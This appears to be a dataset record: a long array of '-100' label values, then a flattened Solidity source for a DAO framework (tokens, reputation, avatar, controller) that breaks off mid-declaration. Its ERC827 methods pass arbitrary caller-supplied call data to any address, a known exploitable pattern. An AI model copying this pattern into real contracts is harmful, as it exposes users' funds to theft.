-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/controller/Reputation.sol
/**
* @title Reputation system
* @dev A DAO has Reputation System which allows peers to rate other peers in order to build trust .
* A reputation is use to assign influence measure to a DAO'S peers.
* Reputation is similar to regular tokens but with one crucial difference: It is non-transferable.
* The Reputation contract maintain a map of address to reputation value.
* It provides an onlyOwner functions to mint and burn reputation _to (or _from) a specific address.
*/
contract Reputation is Ownable {
using SafeMath for uint;
mapping (address => uint256) public balances;
uint256 public totalSupply;
uint public decimals = 18;
// Event indicating minting of reputation to an address.
event Mint(address indexed _to, uint256 _amount);
// Event indicating burning of reputation for an address.
event Burn(address indexed _from, uint256 _amount);
/**
* @dev return the reputation amount of a given owner
* @param _owner an address of the owner which we want to get his reputation
*/
function reputationOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Generates `_amount` of reputation that are assigned to `_to`
* @param _to The address that will be assigned the new reputation
* @param _amount The quantity of reputation to be generated
* @return True if the reputation are generated correctly
*/
function mint(address _to, uint _amount)
public
onlyOwner
returns (bool)
{
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
return true;
}
/**
* @dev Burns `_amount` of reputation from `_from`
* if _amount tokens to burn > balances[_from] the balance of _from will turn to zero.
* @param _from The address that will lose the reputation
* @param _amount The quantity of reputation to burn
* @return True if the reputation are burned correctly
*/
function burn(address _from, uint _amount)
public
onlyOwner
returns (bool)
{
uint amountMinted = _amount;
if (balances[_from] < _amount) {
amountMinted = balances[_from];
}
totalSupply = totalSupply.sub(amountMinted);
balances[_from] = balances[_from].sub(amountMinted);
emit Burn(_from, amountMinted);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: contracts/token/ERC827/ERC827.sol
/**
* @title ERC827 interface, an extension of ERC20 token standard
*
* @dev Interface of a ERC827 token, following the ERC20 standard with extra
* methods to transfer value and data and execute calls in transfers and
* approvals.
*/
contract ERC827 is ERC20 {
function approveAndCall(address _spender,uint256 _value,bytes _data) public payable returns(bool);
function transferAndCall(address _to,uint256 _value,bytes _data) public payable returns(bool);
function transferFromAndCall(address _from,address _to,uint256 _value,bytes _data) public payable returns(bool);
}
// File: contracts/token/ERC827/ERC827Token.sol
/* solium-disable security/no-low-level-calls */
pragma solidity ^0.4.24;
/**
* @title ERC827, an extension of ERC20 token standard
*
* @dev Implementation the ERC827, following the ERC20 standard with extra
* methods to transfer value and data and execute calls in transfers and
* approvals. Uses OpenZeppelin StandardToken.
*/
contract ERC827Token is ERC827, StandardToken {
/**
* @dev Addition to ERC20 token methods. It allows to
* approve the transfer of value and execute a call with the sent data.
* Beware that changing an allowance with this method brings the risk that
* someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race condition
* is to first reduce the spender's allowance to 0 and set the desired value
* afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address that will spend the funds.
* @param _value The amount of tokens to be spent.
* @param _data ABI-encoded contract call to call `_spender` address.
* @return true if the call function was executed successfully
*/
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.approve(_spender, _value);
// solium-disable-next-line security/no-call-value
require(_spender.call.value(msg.value)(_data));
return true;
}
/**
* @dev Addition to ERC20 token methods. Transfer tokens to a specified
* address and execute a call with the sent data on the same transaction
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
* @param _data ABI-encoded contract call to call `_to` address.
* @return true if the call function was executed successfully
*/
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
payable
returns (bool)
{
require(_to != address(this));
super.transfer(_to, _value);
// solium-disable-next-line security/no-call-value
require(_to.call.value(msg.value)(_data));
return true;
}
/**
* @dev Addition to ERC20 token methods. Transfer tokens from one address to
* another and make a contract call on the same transaction
* @param _from The address which you want to send tokens from
* @param _to The address which you want to transfer to
* @param _value The amout of tokens to be transferred
* @param _data ABI-encoded contract call to call `_to` address.
* @return true if the call function was executed successfully
*/
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public payable returns (bool)
{
require(_to != address(this));
super.transferFrom(_from, _to, _value);
// solium-disable-next-line security/no-call-value
require(_to.call.value(msg.value)(_data));
return true;
}
/**
* @dev Addition to StandardToken methods. Increase the amount of tokens that
* an owner allowed to a spender and execute a call with the sent data.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
* @param _data ABI-encoded contract call to call `_spender` address.
*/
function increaseApprovalAndCall(
address _spender,
uint _addedValue,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
// solium-disable-next-line security/no-call-value
require(_spender.call.value(msg.value)(_data));
return true;
}
/**
* @dev Addition to StandardToken methods. Decrease the amount of tokens that
* an owner allowed to a spender and execute a call with the sent data.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
* @param _data ABI-encoded contract call to call `_spender` address.
*/
function decreaseApprovalAndCall(
address _spender,
uint _subtractedValue,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
// solium-disable-next-line security/no-call-value
require(_spender.call.value(msg.value)(_data));
return true;
}
}
// File: contracts/controller/DAOToken.sol
/**
* @title DAOToken, base on zeppelin contract.
* @dev ERC20 compatible token. It is a mintable, destructible, burnable token.
*/
contract DAOToken is ERC827Token,MintableToken,BurnableToken {
string public name;
string public symbol;
// solium-disable-next-line uppercase
uint8 public constant decimals = 18;
uint public cap;
/**
* @dev Constructor
* @param _name - token name
* @param _symbol - token symbol
* @param _cap - token cap - 0 value means no cap
*/
constructor(string _name, string _symbol,uint _cap) public {
name = _name;
symbol = _symbol;
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
if (cap > 0)
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
// File: contracts/controller/Avatar.sol
/**
* @title An Avatar holds tokens, reputation and ether for a controller
*/
contract Avatar is Ownable {
bytes32 public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericAction(address indexed _action, bytes32[] _params);
event SendEther(uint _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint _value);
event ExternalTokenIncreaseApproval(StandardToken indexed _externalToken, address _spender, uint _addedValue);
event ExternalTokenDecreaseApproval(StandardToken indexed _externalToken, address _spender, uint _subtractedValue);
event ReceiveEther(address indexed _sender, uint _value);
/**
* @dev the constructor takes organization name, native token and reputation system
and creates an avatar for a controller
*/
constructor(bytes32 _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
/**
* @dev enables an avatar to receive ethers
*/
function() public payable {
emit ReceiveEther(msg.sender, msg.value);
}
/**
* @dev perform a generic call to an arbitrary contract
* @param _contract the contract's address to call
* @param _data ABI-encoded contract call to call `_contract` address.
* @return the return bytes of the called contract's function.
*/
function genericCall(address _contract,bytes _data) public onlyOwner {
// solium-disable-next-line security/no-low-level-calls
bool result = _contract.call(_data);
// solium-disable-next-line security/no-inline-assembly
assembly {
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// call returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* @dev send ethers from the avatar's wallet
* @param _amountInWei amount to send in Wei units
* @param _to send the ethers to this address
* @return bool which represents success
*/
function sendEther(uint _amountInWei, address _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
/**
* @dev external token transfer
* @param _externalToken the token contract
* @param _to the destination address
* @param _value the amount of tokens to transfer
* @return bool which represents success
*/
function externalTokenTransfer(StandardToken _externalToken, address _to, uint _value)
public onlyOwner returns(bool)
{
_externalToken.transfer(_to, _value);
emit ExternalTokenTransfer(_externalToken, _to, _value);
return true;
}
/**
* @dev external token transfer from a specific account
* @param _externalToken the token contract
* @param _from the account to spend token from
* @param _to the destination address
* @param _value the amount of tokens to transfer
* @return bool which represents success
*/
function externalTokenTransferFrom(
StandardToken _externalToken,
address _from,
address _to,
uint _value
)
public onlyOwner returns(bool)
{
_externalToken.transferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(_externalToken, _from, _to, _value);
return true;
}
/**
* @dev increase approval for the spender address to spend a specified amount of tokens
* on behalf of msg.sender.
* @param _externalToken the address of the Token Contract
* @param _spender address
* @param _addedValue the amount of ether (in Wei) which the approval is referring to.
* @return bool which represents a success
*/
function externalTokenIncreaseApproval(StandardToken _externalToken, address _spender, uint _addedValue)
public onlyOwner returns(bool)
{
_externalToken.increaseApproval(_spender, _addedValue);
emit ExternalTokenIncreaseApproval(_externalToken, _spender, _addedValue);
return true;
}
/**
* @dev decrease approval for the spender address to spend a specified amount of tokens
* on behalf of msg.sender.
* @param _externalToken the address of the Token Contract
* @param _spender address
* @param _subtractedValue the amount of ether (in Wei) which the approval is referring to.
* @return bool which represents a success
*/
function externalTokenDecreaseApproval(StandardToken _externalToken, address _spender, uint _subtractedValue )
public onlyOwner returns(bool)
{
_externalToken.decreaseApproval(_spender, _subtractedValue);
emit ExternalTokenDecreaseApproval(_externalToken,_spender, _subtractedValue);
return true;
}
}
// File: contracts/globalConstraints/GlobalConstraintInterface.sol
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post,PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
/**
* @dev when return if this globalConstraints is pre, post or both.
* @return CallPhase enum indication Pre, Post or PreAndPost.
*/
function when() public returns(CallPhase);
}
// File: contracts/controller/ControllerInterface.sol
/**
* @title Controller contract
* @dev A controller controls the organizations tokens ,reputation and avatar.
* It is subject to a set of schemes and constraints that determine its behavior.
* Each scheme has it own parameters and operation permissions.
*/
interface ControllerInterface {
/**
* @dev Mint `_amount` of reputation that are assigned to `_to` .
* @param _amount amount of reputation to mint
* @param _to beneficiary address
* @return bool which represents a success
*/
function mintReputation(uint256 _amount, address _to,address _avatar)
external
returns(bool);
/**
* @dev Burns `_amount` of reputation from `_from`
* @param _amount amount of reputation to burn
* @param _from The address that will lose the reputation
* @return bool which represents a success
*/
function burnReputation(uint256 _amount, address _from,address _avatar)
external
returns(bool);
/**
* @dev mint tokens .
* @param _amount amount of token to mint
* @param _beneficiary beneficiary address
* @param _avatar address
* @return bool which represents a success
*/
function mintTokens(uint256 _amount, address _beneficiary,address _avatar)
external
returns(bool);
/**
* @dev register or update a scheme
* @param _scheme the address of the scheme
* @param _paramsHash a hashed configuration of the usage of the scheme
* @param _permissions the permissions the new scheme will have
* @param _avatar address
* @return bool which represents a success
*/
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions,address _avatar)
external
returns(bool);
/**
* @dev unregister a scheme
* @param _avatar address
* @param _scheme the address of the scheme
* @return bool which represents a success
*/
function unregisterScheme(address _scheme,address _avatar)
external
returns(bool);
/**
* @dev unregister the caller's scheme
* @param _avatar address
* @return bool which represents a success
*/
function unregisterSelf(address _avatar) external returns(bool);
function isSchemeRegistered( address _scheme,address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme,address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint,address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme,address _avatar) external view returns(bytes4);
/**
* @dev globalConstraintsCount return the global constraint pre and post count
* @return uint globalConstraintsPre count.
* @return uint globalConstraintsPost count.
*/
function globalConstraintsCount(address _avatar) external view returns(uint,uint);
function isGlobalConstraintRegistered(address _globalConstraint,address _avatar) external view returns(bool);
/**
* @dev add or update Global Constraint
* @param _globalConstraint the address of the global constraint to be added.
* @param _params the constraint parameters hash.
* @param _avatar the avatar of the organization
* @return bool which represents a success
*/
function addGlobalConstraint(address _globalConstraint, bytes32 _params,address _avatar)
external returns(bool);
/**
* @dev remove Global Constraint
* @param _globalConstraint the address of the global constraint to be remove.
* @param _avatar the organization avatar.
* @return bool which represents a success
*/
function removeGlobalConstraint (address _globalConstraint,address _avatar)
external returns(bool);
/**
* @dev upgrade the Controller
* The function will trigger an event 'UpgradeController'.
* @param _newController the address of the new controller.
* @param _avatar address
* @return bool which represents a success
*/
function upgradeController(address _newController,address _avatar)
external returns(bool);
/**
* @dev perform a generic call to an arbitrary contract
* @param _contract the contract's address to call
* @param _data ABI-encoded contract call to call `_contract` address.
* @param _avatar the controller's avatar address
* @return bytes32 - the return value of the called _contract's function.
*/
function genericCall(address _contract,bytes _data,address _avatar)
external
returns(bytes32);
/**
* @dev send some ether
* @param _amountInWei the amount of ether (in Wei) to send
* @param _to address of the beneficiary
* @param _avatar address
* @return bool which represents a success
*/
function sendEther(uint _amountInWei, address _to,address _avatar)
external returns(bool);
/**
* @dev send some amount of arbitrary ERC20 Tokens
* @param _externalToken the address of the Token Contract
* @param _to address of the beneficiary
* @param _value the amount of ether (in Wei) to send
* @param _avatar address
* @return bool which represents a success
*/
function externalTokenTransfer(StandardToken _externalToken, address _to, uint _value,address _avatar)
external
returns(bool);
/**
* @dev transfer token "from" address "to" address
* One must to approve the amount of tokens which can be spend from the
* "from" account.This can be done using externalTokenApprove.
* @param _externalToken the address of the Token Contract
* @param _from address of the account to send from
* @param _to address of the beneficiary
* @param _value the amount of ether (in Wei) to send
* @param _avatar address
* @return bool which represents a success
*/
function externalTokenTransferFrom(StandardToken _externalToken, address _from, address _to, uint _value,address _avatar)
external
returns(bool);
/**
* @dev increase approval for the spender address to spend a specified amount of tokens
* on behalf of msg.sender.
* @param _externalToken the address of the Token Contract
* @param _spender address
* @param _addedValue the amount of ether (in Wei) which the approval is referring to.
* @param _avatar address
* @return bool which represents a success
*/
function externalTokenIncreaseApproval(StandardToken _externalToken, address _spender, uint _addedValue,address _avatar)
external
returns(bool);
/**
* @dev decrease approval for the spender address to spend a specified amount of tokens
* on behalf of msg.sender.
* @param _externalToken the address of the Token Contract
* @param _spender address
* @param _subtractedValue the amount of ether (in Wei) which the approval is referring to.
* @param _avatar address
* @return bool which represents a success
*/
function externalTokenDecreaseApproval(StandardToken _externalToken, address _spender, uint _subtractedValue,address _avatar)
external
returns(bool);
/**
* @dev getNativeReputation
* @param _avatar the organization avatar.
* @return organization native reputation
*/
function getNativeReputation(address _avatar)
external
view
returns(address);
}
// File: contracts/controller/Controller.sol
/**
* @title Controller contract
* @dev A controller controls the organizations tokens,reputation and avatar.
* It is subject to a set of schemes and constraints that determine its behavior.
* Each scheme has it own parameters and operation permissions.
*/
contract Controller is ControllerInterface {
struct Scheme {
bytes32 paramsHash; // a hash "configuration" of the scheme
bytes4 permissions; // A bitwise flags of permissions,
// All 0: Not registered,
// 1st bit: Flag if the scheme is registered,
// 2nd bit: Scheme can register other schemes
// 3rd bit: Scheme can add/remove global constraints
// 4th bit: Scheme can upgrade the controller
// 5th bit: Scheme can call genericCall on behalf of
// the organization avatar
}
struct GlobalConstraint {
address gcAddress;
bytes32 params;
}
struct GlobalConstraintRegister {
bool isRegistered; //is registered
uint index; //index at globalConstraints
}
mapping(address=>Scheme) public schemes;
Avatar public avatar;
DAOToken public nativeToken;
Reputation public nativeReputation;
// newController will point to the new controller after the present controller is upgraded
address public newController;
// globalConstraintsPre that determine pre conditions for all actions on the controller
GlobalConstraint[] public globalConstraintsPre;
// globalConstraintsPost that determine post conditions for all actions on the controller
GlobalConstraint[] public globalConstraintsPost;
// globalConstraintsRegisterPre indicate if a globalConstraints is registered as a pre global constraint
mapping(address=>GlobalConstraintRegister) public globalConstraintsRegisterPre;
// globalConstraintsRegisterPost indicate if a globalConstraints is registered as a post global constraint
mapping(address=>GlobalConstraintRegister) public globalConstraintsRegisterPost;
event MintReputation (address indexed _sender, address indexed _to, uint256 _amount);
event BurnReputation (address indexed _sender, address indexed _from, uint256 _amount);
event MintTokens (address indexed _sender, address indexed _beneficiary, uint256 _amount);
event RegisterScheme (address indexed _sender, address indexed _scheme);
event UnregisterScheme (address indexed _sender, address indexed _scheme);
event GenericAction (address indexed _sender, bytes32[] _params);
event SendEther (address indexed _sender, uint _amountInWei, address indexed _to);
event ExternalTokenTransfer (address indexed _sender, address indexed _externalToken, address indexed _to, uint _value);
